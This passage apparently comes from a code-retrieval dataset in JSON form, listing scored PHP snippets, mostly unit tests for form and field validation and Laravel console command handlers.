global $CFG;\n require_once($CFG->dirroot.'/elis/program/accesslib.php');\n\n $this->create_custom_field(CONTEXT_ELIS_USER, $uitype, $otherparams);\n // Create mapping record.\n $this->create_mapping_record('user', 'testfieldshortname', 'customtestfieldshortname');\n\n $data = array(\n 'action' => 'create',\n 'username' => 'testuserusername',\n 'email' => '[email protected]',\n 'idnumber' => 'testuseridnumber',\n 'firstname' => 'testuserfirstname',\n 'lastname' => 'testuserlastname',\n 'country' => 'CA',\n 'customtestfieldshortname' => $value\n );\n\n $message = '[user.csv line 2] User with username \"testuserusername\", email \"[email protected]\", ';\n $message .= 'idnumber \"testuseridnumber\" could not be created. '.$message.\"\\n\";\n $this->assert_data_produces_error($data, $message, 'user');\n }", "title": "" }, { "docid": "42e2e9d9fc5f600b927e10915ce1fe2f", "score": "0.51852137", "text": "public function testNoDataMatcheds()\n {\n $this->cv2avs->set('NO DATA MATCHES');\n\n $this->checkValues(true, false, false, false);\n }", "title": "" }, { "docid": "34cb5c66b594ae9f949e9231cea418de", "score": "0.5176529", "text": "public function test_field_input_email()\n {\n // Setup params\n $params = array(\n 'fields' => array(\n 'key_email' => array(\n 'label' => 'Email',\n 'type' => 'email',\n 'required' => true,\n 'name' => 'email',\n )\n )\n );\n\n // Initialize form\n $form = new Pfp\\PhpFormProcessor\\form($params);\n $this->assertEquals(0, count($form->errors));\n\n // Test without @\n $data = array(\n 'email' => 'helloworld.com'\n );\n $form->submit_form_data($data);\n $this->assertEquals(1, count($form->errors));\n $this->assertEquals($form->errors[0]['status'], 'error_email_format');\n\n // Test without dot\n $data = array(\n 'email' => 'hello@worldcom'\n );\n $form->submit_form_data($data);\n $this->assertEquals(1, count($form->errors));\n $this->assertEquals($form->errors[0]['status'], 'error_email_format');\n\n // Test proper format\n $data = array(\n 'email' => '[email protected]'\n );\n $form->submit_form_data($data);\n $this->assertEquals(0, count($form->errors));\n\n }", "title": "" }, { "docid": "66af8f6b6ab1ee550e77526a10401176", "score": "0.5176214", "text": "public function testMissingNameInConstructorThrowsException(): void\n {\n $this->expectException(TransactionTypeFieldException::class);\n $this->expectExceptionMessageRegExp('/name/');\n\n $field = new TypeField([]);\n }", "title": "" }, { "docid": "46ae8ad6ea10a978b6a9d5085fec8ddd", "score": "0.51515186", "text": "public function testValidationNoneSet(): void\n {\n $obj = new ImmutableObject(['id' => 5]);\n try {\n $obj->isValid();\n $this->fail('Was expecting ' . ImmutableObjectException::class);\n } catch (ImmutableObjectException $ex) {\n $this->assertStringContainsString('isValid', $ex->getMessage());\n }\n\n try {\n $obj->getValidationMessage();\n $this->fail('Was expecting ' . ImmutableObjectException::class);\n } catch (ImmutableObjectException $ex) {\n $this->assertStringContainsString('without', $ex->getMessage());\n }\n }", "title": "" }, { "docid": "5e6b67a5a45f892df683807d0ca7f342", "score": "0.5143316", "text": "public function testShouldReturnQuestionMessage() {\n $actual = $this->questionMessageStep->getQuestionMessage();\n $this->assertSame($this->mockMessage, $actual[0]);\n }", "title": "" }, { "docid": "c9756c0a47d4afe69b7e15ab8eaa6913", "score": "0.5139094", "text": "public function test_non_equal_sensitive() {\r\n $t = new qtype_correctwriting_are_lexeme_sequence_equal_test_utils($this);\r\n $t->test_with_english(true, false, 'Those sequences are equal', 'those sequences are equal');\r\n $q = new qtype_correctwriting_question();\r\n $q->usecase = false;\r\n }", "title": "" }, { "docid": "f379ebe1cbb4bb6e03f2a7962c3ad927", "score": "0.5136783", "text": "abstract protected function getValidFields();", "title": "" }, { "docid": "af8f651241eb98560e66409745091526", "score": "0.51354706", "text": "public function testMultilingualFields()\n {\n $container = $this->getContainer();\n\n $obj = $this->createMultilingualProperty();\n\n $fields = $obj->fields('Cooking');\n\n $this->assertInternalType('array', $fields);\n $this->assertCount(4, $fields);\n $this->assertInstanceOf(PropertyField::class, $fields['en']);\n $this->assertEquals('test_en', $fields['en']->ident());\n $this->assertEquals('Cooking', $fields['en']->val());\n\n $fields = $obj->fields([ 'en' => 'Cooking', 'fr' => 'Cuisson' ]);\n\n $this->assertInstanceOf(PropertyField::class, $fields['fr']);\n $this->assertEquals('test_fr', $fields['fr']->ident());\n $this->assertEquals('Cuisson', $fields['fr']->val());\n\n $this->assertInstanceOf(PropertyField::class, $fields['de']);\n $this->assertEquals('test_de', $fields['de']->ident());\n $this->assertEquals(null, $fields['de']->val());\n\n $this->assertInstanceOf(PropertyField::class, $fields['es']);\n $this->assertEquals('test_es', $fields['es']->ident());\n $this->assertEquals(null, $fields['es']->val());\n }", "title": "" }, { "docid": "9d5f662ca7f5628befbee92d41551002", "score": "0.5129227", "text": "public function testRejectAlreadyEncodedGridFromGenerateCheckChar():void {\n\t\tforeach($this->goodGRidsEncoded() as $grid){\n\t\t\t$this->expectException(GRidException::class);\n\t\t\t$newGrid = new GRid($grid);\n\t\t\t$newGrid->generateCheckChar();\n\t\t}\n\t}", "title": "" }, { "docid": "be90035d9e77e0670b7b050cbeae2648", "score": "0.51272094", "text": "public function testProvidedFields($input, $field, $expected) {\n $entity = Media::create([\n 'bundle' => 'video',\n VideoEmbedField::VIDEO_EMBED_FIELD_DEFAULT_NAME => [['value' => $input]],\n ]);\n $actual = $this->mediaVideoPlugin->getField($entity, $field);\n $this->assertEquals($expected, $actual);\n }", "title": "" }, { "docid": "b4e61f9661db276070bb0e78cbc2c6d5", "score": "0.51265574", "text": "function testEmailFieldObligateCept(ApiTester $I){\n $I->wantTo('register a user via API');\n $I->haveHttpHeader(RequestRegistration::$httpHeaderContentType, RequestRegistration::$httpHeaderApplicationType);\n\n RequestRegistration::setData(null, '+371 6111111', '111aaa', '1988-06-25T00:00:00.000Z', 'Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua');\n RequestRegistration::setAddress('US', 'New York', 'John Doe', 'LV-1011', 'Ropazu 10');\n\n $I->sendPOST(RequestRegistration::getPostData());\n $I->seeResponseCodeIs(\\Codeception\\Util\\HttpCode::BAD_REQUEST); // 400\n $I->seeResponseIsJson();\n $I->seeResponseContains('{\"Result\":0,\"Details\":\"Field email missed\"}');\n }", "title": "" }, { "docid": "d59f63fd35364a07687fc47bf72c4c5c", "score": "0.5125058", "text": "protected function validateUniquenessOf($fields,$message=null) {\n\t\t$this->isUnique[]=$fields;\n\t\tif(!is_array($fields)) {\n\t\t\t$fields=array($fields);\n\t\t}\n\t\tforeach($fields as $fieldname) {\n\t\t\tif(!$this->isField($fieldname)) {\n\t\t\t\tthrow new Exception('Invalid fieldname ('.$fieldname.') provided to validateUniquenessOf() in DataObject.php');\n\t\t\t}\n\t\t}\n\n\t\t$this->addValidator(new UniquenessValidator($fields,$message));\n\t}", "title": "" }, { "docid": "acd0dbb935f482cb54d81bbf33f7e1f9", "score": "0.5121796", "text": "function validate_user_unique(string $field_input, array &$field): bool\n{\n if (App::$db->getRowWhere('users', ['email' => $field_input])) {\n $field['error'] = 'Toks vartotojas jau egzistuoja';\n\n return false;\n }\n\n return true;\n}", "title": "" }, { "docid": "1bc17d017bc2a3416a5b6cca1123fa4b", "score": "0.51213884", "text": "public function testGetMessages()\n {\n }", "title": "" }, { "docid": "9dfd038923a542ebec349e9193e8953e", "score": "0.51150656", "text": "public function testBuildTagNotIncluded()\n {\n $handler = new TestHandler();\n $logger = new Logger('testing', [$handler]);\n $logger->pushProcessor(new BuildTagProcessor());\n Log::swap($logger);\n\n // log something\n Log::info('testing');\n\n // then assert that the build tag is not present\n $records = $handler->getRecords();\n $this->assertArrayNotHasKey('build_tag', $records[0]['extra']);\n }", "title": "" }, { "docid": "45ed0e106b5b52af0ac20555b3a2ec92", "score": "0.51097655", "text": "public function testGettingField() {\n\t\t$a = new \\spitfire\\storage\\database\\Schema('test');\n\t\t\n\t\t$this->assertEquals(null, $a->getField('b'), 'There is no field \"B\" it should fail');\n\t\t$this->assertInstanceOf(Field::class, $a->getField('_id'), 'The id field should be present');\n\t}", "title": "" }, { "docid": "cf3c690d3379de33d7c27bed50326b98", "score": "0.510899", "text": "public function testErrorMessages()\n {\n $form = new class extends \\Iljaaa\\Machete\\Validation\n {\n public string $name = 'test';\n public string $sName = '';\n\n private \\Iljaaa\\Machete\\rules\\UserRule $rule;\n\n public function __construct ()\n {\n parent::__construct();\n\n $this->rule = new class implements \\Iljaaa\\Machete\\rules\\UserRule {\n\n public function validate ($value, string $attribute, UserRuleWrapper $userRuleWrapper, Validation $validation): bool\n {\n if (empty($value)) {\n return $userRuleWrapper->addError('test error')->isValid();\n }\n\n return $userRuleWrapper->isValid();\n }\n\n };\n }\n\n public function rules (): array\n {\n return [\n [['name'], 'rule', $this->rule],\n [['sName'], 'rule', $this->rule],\n ];\n }\n\n };\n\n\n $this->assertFalse($form->isValid(), 'wrong result');\n $this->assertFalse($form->validate(), 'wrong result');\n $this->assertFalse($form->isValid(), 'wrong result');\n $this->assertEquals('test error', $form->getFirstError(), 'Wrong first error');\n $this->assertEquals(['sName' => ['test error']], $form->getErrors());\n $this->assertEquals([], $form->getErrorsForAttribute('test'));\n $this->assertEquals([], $form->getErrorsForAttribute('name'));\n $this->assertEquals(['test error'], $form->getErrorsForAttribute('sName'));\n $this->assertEquals('test error', $form->getFirstErrorForAttribute('sName'));\n\n $this->assertFalse($form->isValid(), 'wrong result');\n $this->assertFalse($form->validate(['sName']), 'wrong result');\n $this->assertFalse($form->isValid(), 'wrong result');\n $this->assertEquals('test error', $form->getFirstError(), 'Wrong first error');\n $this->assertEquals(['sName' => ['test error']], $form->getErrors());\n $this->assertEquals([], $form->getErrorsForAttribute('test'));\n $this->assertEquals([], $form->getErrorsForAttribute('name'));\n $this->assertEquals(['test error'], $form->getErrorsForAttribute('sName'));\n $this->assertEquals('test error', $form->getFirstErrorForAttribute('sName'));\n\n $this->assertFalse($form->isValid(), 'wrong result');\n $this->assertTrue($form->validate(['name']), 'wrong result');\n $this->assertTrue($form->isValid(), 'wrong result');\n $this->assertEquals('', $form->getFirstError(), 'Wrong first error');\n $this->assertEquals([], $form->getErrors());\n $this->assertEquals([], $form->getErrorsForAttribute('test'));\n $this->assertEquals([], $form->getErrorsForAttribute('name'));\n $this->assertEquals([], $form->getErrorsForAttribute('sName'));\n $this->assertEquals('', $form->getFirstErrorForAttribute('sName'));\n\n }", "title": "" }, { "docid": "f9374e944695f1aede8f52fefcf9d68f", "score": "0.510742", "text": "public function testMissingRequiredValue()\n {\n $value = $this->loadFixtureJsonAsArray()[0];\n unset($value['source']);\n $this->expectException(MissingRequiredDataValueException::class);\n new Email($value);\n }", "title": "" }, { "docid": "a4d728587121ed2c7e124187c800f52e", "score": "0.5105167", "text": "public function testNoNumberInPassword()\n {\n $crawler= $this->crawler;\n $form= $this->form;\n $client = $this->client;\n\n $this->assertEquals('New Member', $crawler->filter('title')->text());\n\n // Missing a number\n $form['member[password][first]']->setValue(\"Chocolate\");\n $form['member[password][second]']->setValue(\"Chocolate\");\n\n //Testing Individual and 1 year paid membership\n $form['member[memberType]']->setValue(\"Individual\");\n $form['member[memberOption]']->setValue(\"1-year Paid Membership\");\n\n $client->submit($form);\n\n\n $this->assertEquals(200, $client->getResponse()->getStatusCode());\n $this->assertContains('<li>Password must consist of one upper-case, one-lower-case, one number',\n $client->getResponse()->getContent());\n }", "title": "" }, { "docid": "d438571288096a7a2544fd3ebf827f47", "score": "0.51004934", "text": "public function testRequiredKeys()\n {\n $this->expectException(InvalidArgumentException::class);\n $this->expectExceptionMessage('Cannot create a SmartwaiverDynamicTemplate with missing field: uuid');\n\n $template = SmartwaiverTypes::createDynamicTemplate();\n unset($template['uuid']);\n\n $swTemplate = new SmartwaiverDynamicTemplate($template);\n }", "title": "" }, { "docid": "61e6d6cedff15ea2818d856adb26865b", "score": "0.50952494", "text": "public function testGetMessages()\n {\n self::assertSame([], $this->validator->getMessages());\n }", "title": "" }, { "docid": "deb42a0eacb06dfa2a24e89123c0b571", "score": "0.5092726", "text": "public function testDistinctOnFieldNameThatIsNotInTableSpec()\n {\n // Get table rows\n $table = 't_distinct';\n $this->tripod->generateTableRows($table);\n $results = $this->tripod->getDistinctTableColumnValues($table, \"value.foo\");\n $this->assertEquals(0, $results['head']['count']);\n $this->assertArrayHasKey('results', $results);\n $this->assertEmpty($results['results']);\n }", "title": "" }, { "docid": "79991f17020546cc7834dfefa6879aff", "score": "0.5091235", "text": "public function getMessagesFor($field);", "title": "" }, { "docid": "b2788ac20146930311007a80821e62b4", "score": "0.5089721", "text": "public function testInvalidFirstName()\n {\n\n foreach ([\"F\", \"\"] as $fieldValue) {\n\n $payload = $this->getPayload();\n $payload[\"first_name\"] = $fieldValue;\n $response = $this->post(route(\"register\", $payload));\n\n $response->assertSessionHasErrors([\"first_name\"]);\n\n $this->assertDatabaseMissing(\"users\", [\"id\" => 5]);\n $this->assertDatabaseMissing(\"students\", [\"id\" => 3]);\n\n $this->assertGuest();\n\n }\n\n }", "title": "" }, { "docid": "c2b573dfe4d31035a360501dc831bcfb", "score": "0.50882995", "text": "public function testInvalidMutator()\n {\n $fields = array('Owner', 'Name', 'Parent', 'Type', 'Description', 'Options', 'Paths');\n\n $stream = new P4_Stream;\n foreach ($fields as $field) {\n try {\n $stream->{'set'.$field}(12);\n } catch (InvalidArgumentException $e) {\n $this->assertTrue(true, 'Caught expected exception for ' . $field);\n }\n }\n }", "title": "" }, { "docid": "7c74f98466ce643e8d54ba071b2e5845", "score": "0.5088214", "text": "public function testUserPasswordFieldNotAvailableToViews() {\n $field_definitions = $this->entityFieldManager->getBaseFieldDefinitions('user');\n $this->assertArrayHasKey('pass', $field_definitions);\n $this->assertArrayNotHasKey('pass', $this->viewsData->get('users_field_data'));\n }", "title": "" }, { "docid": "6d93d80958bc922684d4784df7de994a", "score": "0.50875825", "text": "public function testGetRawMessage0()\n{\n\n $actual = $this->errorException->getRawMessage();\n $expected = null; // TODO: Expected value here\n $this->assertEquals($expected, $actual);\n}", "title": "" }, { "docid": "41f44744afb725d425f2396ee9a7ec42", "score": "0.50845414", "text": "function VALIDATION($fields,$msg)\n{\n\tif(!empty($fields))\n\t\tforeach($fields as $k=>$v)\n\t\t{\n\t\t\tif($v == \"\")\n\t\t\t$error.= \"Please enter the value in \".$msg[$k].\"<br />\";\n\t\t}\n\telse\n\techo \"Please supply the valid arrays\";\nreturn $error;\n}", "title": "" } ]
d03b388b5c2bcd743860d5a3096e1c5d
Execute the console command.
[ { "docid": "b0b5b3da57f11a51659be4429486d638", "score": "0.0", "text": "public function handle(DripEmailer $drip)\n {\n $drip->send(User::find($this->argument('user'),\n Url::orderBy('url_id','asc')->get()));\n }", "title": "" } ]
[ { "docid": "41860c81414c761042ac26245cb46fd6", "score": "0.68433106", "text": "public function handle()\n {\n $arguments = $this->argument();\n $options = $this->option();\n\n $this->writeCriteria($arguments, $options);\n $this->composer->dumpAutoloads();\n }", "title": "" }, { "docid": "c8f750b3bae71f0e2005ed5790538fbb", "score": "0.6422205", "text": "public function handle()\n {\n switch ($this->option('command')) {\n case 'create':\n $this->takeSnapShot();\n break;\n\n case 'restore':\n $this->restoreSnapShot();\n break;\n\n default:\n $this->error('Invalid Option !!');\n break;\n }\n }", "title": "" }, { "docid": "6921c8ab7ff7a3512eb299a2c84b86f7", "score": "0.6421142", "text": "public function handle()\n {\n\n $match_id = $this->argument('match_id');\n $this->match_player_score($match_id);\n }", "title": "" }, { "docid": "850563a270b7d99bcc68012e7d1f0de1", "score": "0.6407697", "text": "public function handle()\n {\n // Get the arguments.\n $arguments = $this->argument();\n // Write controller.\n $this->writeController($arguments);\n // Dump autoload.\n $this->composer->dumpAutoloads();\n }", "title": "" }, { "docid": "e614e422b3d0e24fc4524350a0989d18", "score": "0.63631994", "text": "public function handle()\n {\n $translations = $this->getTranslations();\n $this->copyTranslations(\n $translations,\n collect($this->option('locale')),\n $this->option('origin')\n );\n }", "title": "" }, { "docid": "c4c8a2720895cefe782508d2a8430d53", "score": "0.63138884", "text": "public function handle()\n {\n // if you are on the local environment\n if (!app()->isLocal()) {\n $this->error('This command is only avilable on the local environment.');\n return;\n }\n \n $name = $this->argument('name');\n \n $this->archiveTenant($name);\n }", "title": "" }, { "docid": "85d7fe239d07fb45261afb62e9cbe363", "score": "0.6291947", "text": "public function handle()\n {\n\n $this->manifest->build();\n\n $this->info( 'Package manifest generated successfully.' );\n\n }", "title": "" }, { "docid": "1f7ac97715a7f845ce40901d843a9790", "score": "0.62873244", "text": "public function handle()\n {\n $command_user = $this->argument( 'user' );\n /* 设置执行用户 */\n if( $command_user ) {\n static::setUser( $command_user );\n }\n /* 设置执行用户 */\n \n //\n static::$Logger->info( \"test\" );\n }", "title": "" }, { "docid": "e2fe5d101675a0297c20751be2a43340", "score": "0.6272963", "text": "public function handle()\n {\n $generator = SitemapGenerator::getSitemapGenerator($this->argument('extension'));\n try {\n $generator->generate($this->argument('path'), self::ITEMS_ARRAY);\n } catch (Throwable $exception) {\n echo $exception->getMessage();\n }\n }", "title": "" }, { "docid": "25564db007f7b2923f22d0da0153d503", "score": "0.6270587", "text": "public function handle()\n {\n $this->info('Generate metadataset version '.$this->argument('version'));\n\n $curricula = Curriculum::where('type_id', 1)->get();\n $this->generate($curricula, $this->argument('version'));\n\n $this->info(' ...done');\n }", "title": "" }, { "docid": "bde9714f274e58d801c296a6fb51c3c1", "score": "0.6239485", "text": "public function handle()\n {\n $this->call('mission:clear');\n\n $this->info(\n $this->prependTimestamp('Generating missions...')\n );\n\n $this->database->transaction(function () {\n $users = User::whereNotNull('started_at')->get();\n\n foreach ($users as $user) {\n $this->manager->createRand($user);\n }\n });\n\n $this->info(\n $this->prependTimestamp('Generation complete!')\n );\n }", "title": "" }, { "docid": "e64d2deec514b8a15b93b76436a32208", "score": "0.62362635", "text": "public function handle()\n {\n $this->registerCommands();\n\n $this->application->run();\n }", "title": "" }, { "docid": "03d70e7b69dd3e4fa111a4771abdcad3", "score": "0.62302315", "text": "public function handle()\n {\n $annotations = $this->option('annotations');\n $db = $this->option('db');\n\n if ($annotations) {\n PermissionsHandler::clearCachedAnnotations();\n $this->info('Annotations cache has been deleted!');\n }\n\n if ($db) {\n Cache::forget('permissionsHandler');\n $this->info('Database cache has been deleted!');\n }\n }", "title": "" }, { "docid": "8163d1da65889db1a69beb0e4a651819", "score": "0.6229836", "text": "public function handle()\n {\n $this->entity = $this->argument('entity');\n\n $this->loadSchema();\n $this->loadNaming();\n $this->loadServices();\n }", "title": "" }, { "docid": "1a61f30c5ff47b38d0e39aee0b47d6f2", "score": "0.6227346", "text": "public function handle()\n {\n $this->user = User::find($this->argument('user'));\n try {\n $this->processing();\n foreach (Game::keyValue() as $gameId => $name) {\n $this->user->cardmarketApi->syncAllArticles($gameId);\n }\n $this->processed();\n }\n catch (\\Exception $e) {\n $this->processed();\n\n throw $e;\n }\n }", "title": "" }, { "docid": "1df765b91c4cf12abaca96292cf7894c", "score": "0.6218607", "text": "public function handle()\n {\n $channel = $this->argument('channel');\n $data = $this->argument('data');\n $this->info(\"Channel {$channel}!\");\n $this->info(\"Data {$data}!\");\n $result = Redis::publish(\n $channel,\n $data\n );\n $this->info(\"Resultado {$result}!\");\n }", "title": "" }, { "docid": "54e4e9f5ef98f17976368d102a617def", "score": "0.6209011", "text": "public function handle()\n {\n \\Log::info('Executing command playerInfo:update');\n $this->pullPlayerInfo();\n \\Log::info('Executed command playerInfo:update successfully');\n }", "title": "" }, { "docid": "f8204fec2526d4addf113d541a9205f0", "score": "0.6204994", "text": "public function handle()\n {\n $renameUser = new RenameUserService();\n\n $renameUser->execute(date(\"Y-m-d H:i:s\"));\n }", "title": "" }, { "docid": "3cc629923f9227c72153d98934b8a332", "score": "0.6195348", "text": "public function handle(): void\n {\n $arg = $this->argument('file');\n $command = $this->argument('command');\n $method = (strpos($command, ':') > 0) ? explode(':', $command)[1] : '';\n\n // Execute Quantical Solutions ReactNative command\n new Listener($this, $method, $arg);\n }", "title": "" }, { "docid": "ee6187456ee2422eae6a94410cffdbb7", "score": "0.61816555", "text": "public function handle()\n {\n $name = $this->getNameInput();\n $component = $this->getComponentInput();\n $installer = $this->getInstallerInstance($component);\n $this->$name($installer, $component);\n\n $this->error(\n 'This command is about to be removed, and this development will not be supported.'.PHP_EOL.\n 'We designed a better way to develop please refer to:'.PHP_EOL.\n ' https://github.com/zhiyicx/plus-installer'\n );\n\n $this->openBrowser('https://github.com/zhiyicx/plus-installer');\n }", "title": "" }, { "docid": "ac15acc3724f92190aaab43ef30552d3", "score": "0.61689013", "text": "public function handle()\n {\n $this->ignoreTmpTables = (bool)$this->option('ignoreTmp');\n $this->ignoreMigrationsTable = (bool)$this->option('ignoreMigrations');\n\n $this->fire();\n }", "title": "" }, { "docid": "fb2195f8224349de35a1d29856f47da3", "score": "0.61428034", "text": "public function handle()\n\t{\n\t\t$name = $this->argument('name');\n\n\t\tif (!$name) {\n\t\t\t$this->error('Sitemap class name required!');\n\t\t\texit(1);\n\t\t}\n\n\t\t$class = app_path(\"Sitemap/{$name}.php\");\n\n\t\tif (file_exists($class)) {\n\t\t\t$this->error(\"{$class} already exists!\");\n\t\t\texit(2);\n\t\t} elseif (!is_dir(app_path('Sitemap'))) {\n\t\t\tmkdir(app_path('Sitemap'));\n\t\t}\n\n\t\t$bytes = file_put_contents(\n\t\t\t$class,\n\t\t\tstr_replace('{name}', $name, file_get_contents(dirname(__DIR__, 2).'/stubs/sitemap.stub'))\n\t\t);\n\n\t\tif (!$bytes) {\n\t\t\t$this->error(\"Cannot create file: {$class}\");\n\t\t\texit(3);\n\t\t}\n\t}", "title": "" }, { "docid": "d034b41eee4e6ea73acf9c7487b4954b", "score": "0.6142225", "text": "public function handle()\n {\n $id = $this->argument('id');\n $bankAccount = $this->repository->load($id);\n\n echo $bankAccount->isClosed() ? 'Closed account' : 'Account';\n echo PHP_EOL;\n\n echo \"Name: \" . $bankAccount->getName() . PHP_EOL;\n echo \"Balance: $ \" . number_format($bankAccount->getBalance());\n }", "title": "" }, { "docid": "d620abdc9b16f8ea113150dd91b93860", "score": "0.61385727", "text": "public function handle()\n {\n $this->extendToken(\n token: $this->findToken()\n );\n\n return Command::SUCCESS;\n }", "title": "" }, { "docid": "407fd99b69a0fc43bd42f95af81efc20", "score": "0.61324", "text": "public function handle()\n {\n $name = $this->argument('name');\n\n $this->call('make:seeder', [\n 'name' => 'customer\\Permission' . $name . 'Seeder',\n ]);\n }", "title": "" }, { "docid": "9c809593cb5839ef29904ecb555357ac", "score": "0.6129035", "text": "public function handle()\n {\n\n $source = Source::find($this->argument('id'));\n\n if (!$source)\n {\n return $this->error('source not found');\n }\n\n $this->info(\"Fetching...\");\n\n $start = microtime(true);\n\n $items = Fetch::source($source->id);// fetch items\n\n $end = microtime(true);\n\n $timeTaken = round($end - $start, 2);\n \n $this->line(\"Collected {$items} items from source {$source->id} ({$source->url}) in {$timeTaken} seconds.'\");\n }", "title": "" }, { "docid": "50df32a8c00ddecfd6cf40838f706b8e", "score": "0.61203766", "text": "public function handle()\n {\n $filename = $this->argument('filename');\n GedcomParserFacade::parse('mysql', $filename, true, true);\n }", "title": "" }, { "docid": "acd12c6e0c9c6b8aff859ccee9f66451", "score": "0.61188745", "text": "public function handle()\n {\n $user = User::find($this->argument('user'));\n $amount = $this->argument('amount');\n\n Transaction::makeDeposit(new Money($amount), $user);\n\n $this->info(\"Deposit of {$amount} BRL made to User #{$user->id} {$user->name}\");\n }", "title": "" }, { "docid": "2f3bc1ded6b70f01ebcf5687b6f173bf", "score": "0.61177874", "text": "public function handle()\n {\n $this->call('package:contract', [\n 'name' => $this->argument('name'),\n ]);\n }", "title": "" }, { "docid": "998b9a26592ba3a4671ea3a31eece55b", "score": "0.6111735", "text": "public function fire()\n {\n $sqlPath = trim($this->input->getArgument('sqlPath'));\n\n $this->generateMigrations($sqlPath);\n\n $this->composer->dumpAutoloads();\n }", "title": "" }, { "docid": "766b2c594138b221fefc5d4f3c48eefd", "score": "0.609366", "text": "public function handle()\n {\n defined('DS') or define('DS', DIRECTORY_SEPARATOR);\n $action = $this->argument('action');\n $funcName = strtolower($action) . 'Action';\n if (method_exists($this, $funcName)) {\n call_user_func([\n $this,\n $funcName\n ]);\n } else {\n $this->error(PHP_EOL . 'No Action Found');\n }\n $this->comment(PHP_EOL . '> DONE !');\n }", "title": "" }, { "docid": "613d72f81f696cbb3cc0ce9fc584bd56", "score": "0.60905", "text": "public function handle()\n {\n $from = $this->argument('from');\n $to = $this->argument('to');\n\n if (!$this->isValidParam($from)) {\n $this->error('Only \"usd\" and \"cad\" are supported');\n return;\n }\n\n if (!$this->isValidParam($to)) {\n $this->error('Only \"usd\" and \"cad\" are supported');\n return;\n }\n\n $this->info('Fetching rate for \"' . $from . '\" -> \"' . $to . '\"');\n\n $result = $this->exchangeService->getData($from, $to);\n\n if (!isset($result['Realtime Currency Exchange Rate'])) {\n $this->error('There was an error during command execution');\n $this->info(json_encode($result));\n return;\n }\n\n $this->info(json_encode($result));\n }", "title": "" }, { "docid": "7eef6f692a2e8612701529fc2c749ebc", "score": "0.60823095", "text": "public function handle()\n {\n if ($this->argument('act')) {\n $this->executeJob($this->argument('act'));\n } else {\n $acts = Account::All();\n foreach ($acts as $act) {\n $this->executeJob($act->id);\n }\n }\n }", "title": "" }, { "docid": "96d82526fc64a65fc05bdc29f061f39c", "score": "0.60797423", "text": "public function handle()\n {\n $this->call('passport:keys', [ '--force' => $this->option('force') ]);\n\n $this->call('passport:client', [\n '--personal' => true,\n '--database' => $this->option('database'),\n '--connection' => $this->option('connection'),\n '--name' => $this->option('name') ?: null,\n ]);\n\n $this->call('passport:client', [\n '--password' => true,\n '--database' => $this->option('database'),\n '--connection' => $this->option('connection'),\n '--name' => $this->option('name') ?: null,\n ]);\n }", "title": "" }, { "docid": "53524eb4c21830da7ad77e2b87e9ea62", "score": "0.60743773", "text": "public function handle()\n {\n $sponsorId = $this->argumentsSponsorId();\n\n // {\"smart2::real_time::view\": {\"contract\": {\"start\": \"1900-01-01 00:00:00\",\"end\": \"9999-12-31 23:59:59\"}}, \"smart2::region_kanto::view\": {\"contract\": {\"start\": \"1900-01-01 00:00:00\",\"end\": \"9999-12-31 23:59:59\"}}}\n $permissions = $this->argumentsPermissions();\n\n $this->confirmApply('update', [\n 'sponsor_id: ' . $sponsorId,\n 'permissions: ' . json_encode($permissions, JSON_PRETTY_PRINT),\n ]);\n\n $sponsorRole = SponsorRole::findOrFail($sponsorId);\n $sponsorRole->fill([\n 'permissions' => $permissions,\n ])->save();\n\n $this->infoApplied();\n }", "title": "" }, { "docid": "53ed27d5bca7019d748f913b9836771d", "score": "0.60713667", "text": "public function handle()\n {\n $this->info('Normalizing author names');\n ResultsRepository::normalizeNames();\n }", "title": "" }, { "docid": "bfa6833d965fb8905fcc4c5f3fe36bda", "score": "0.6068034", "text": "public function handle()\n {\n $this->info('Generating sitemap...');\n $this->generate();\n }", "title": "" }, { "docid": "efd9dc2f03a338d9a35783097d33012f", "score": "0.60667014", "text": "public function handle()\n {\n $this->executeCommand($this->getCommand());\n }", "title": "" }, { "docid": "5fc5f5bddc1df94c9482d0a11927a24a", "score": "0.60648674", "text": "public function handle()\n {\n //\n Timer::start();\n $lang = app()->getLocale();\n $championEntity = new ChampionEntity($lang);\n if (!empty($this->argument('champion')) && $this->argument('champion') == 'all') {\n // get all champions\n $champions = $championEntity->getAllChampionsID();\n foreach ($champions as $champion) {\n echo $champion . \"\\n\";\n /* foreach (RiotEntity::$lanes as $lane) {\n echo \" \" . $lane; */\n $lane = \"all\";\n $this->livefeed($lang, $lane, $champion);\n event(new \\App\\Events\\LiveFeed($lane, $champion));\n /* } */\n }\n } else {\n $champion = \"\";\n if (!empty($this->argument('champion'))) {\n $champion = $this->argument('champion');\n }\n foreach (RiotEntity::$lanes as $lane) {\n echo $lane . \"\\n\";\n $this->livefeed($lang, $lane, $champion);\n event(new \\App\\Events\\LiveFeed($lane, $champion));\n }\n }\n\n $time = Timer::stop();\n print Timer::secondsToTimeString($time);\n }", "title": "" }, { "docid": "d2b5ba67d75a7d273d336c7f3b851c65", "score": "0.60639083", "text": "public function handle()\n {\n $value = $this->argument('value');\n $encrypted = Crypt::encrypt($value);\n $this->info($encrypted); \n }", "title": "" }, { "docid": "718e4409379d10d120304fa5d73cfbda", "score": "0.60616785", "text": "public function handle() {\n\n $urls = array_map( 'trim', file( $this->argument( 'input_file' ) ) );\n $finder = new Finder( $urls, $this->option( 'threads' ) );\n $finder->setCommand( $this );\n $res = $finder->find( function ( $request ) {\n } );\n\n if ( $o = $this->option( 'output' ) ) {\n file_put_contents( $o, implode( PHP_EOL, $res[ 'success' ] ) );\n }\n\n }", "title": "" }, { "docid": "bbca84711955ddf92518c9f80e31419a", "score": "0.6056845", "text": "public function handle()\n {\n //\n $option = $this->argument('action');\n\n\n switch ($option)\n {\n case \"start\":\n $this->info('wsswoole observer started');\n $this->start();\n break;\n case \"stop\":\n $this->info('stoped');\n $this->stop();\n break;\n case \"restart\":\n $this->info(\"restarted\");\n $this->restart();\n break;\n }\n }", "title": "" }, { "docid": "8b1a0baa56a3f37fe2e19da20c7db152", "score": "0.60534847", "text": "public function handle()\n {\n if ($this->argument('name') || $this->option('path')) {\n $this->writeView();\n }\n }", "title": "" }, { "docid": "7cd5de8a0836eae4674a607951f74956", "score": "0.6051865", "text": "public function handle()\n {\n dump($this->option('verified'));\n echo User::count() . \"\\n\";\n }", "title": "" }, { "docid": "6a01054f6fcd4659052a6578dd2fae68", "score": "0.60479355", "text": "public function handle()\n {\n $subject = $this->argument('subject');\n $fromDate = Carbon::today()->format('Y-m-d');\n\n if (!$this->isValidParam($subject)) {\n $this->error('Subject must not contain any spaces (it must be one word)');\n return;\n }\n\n 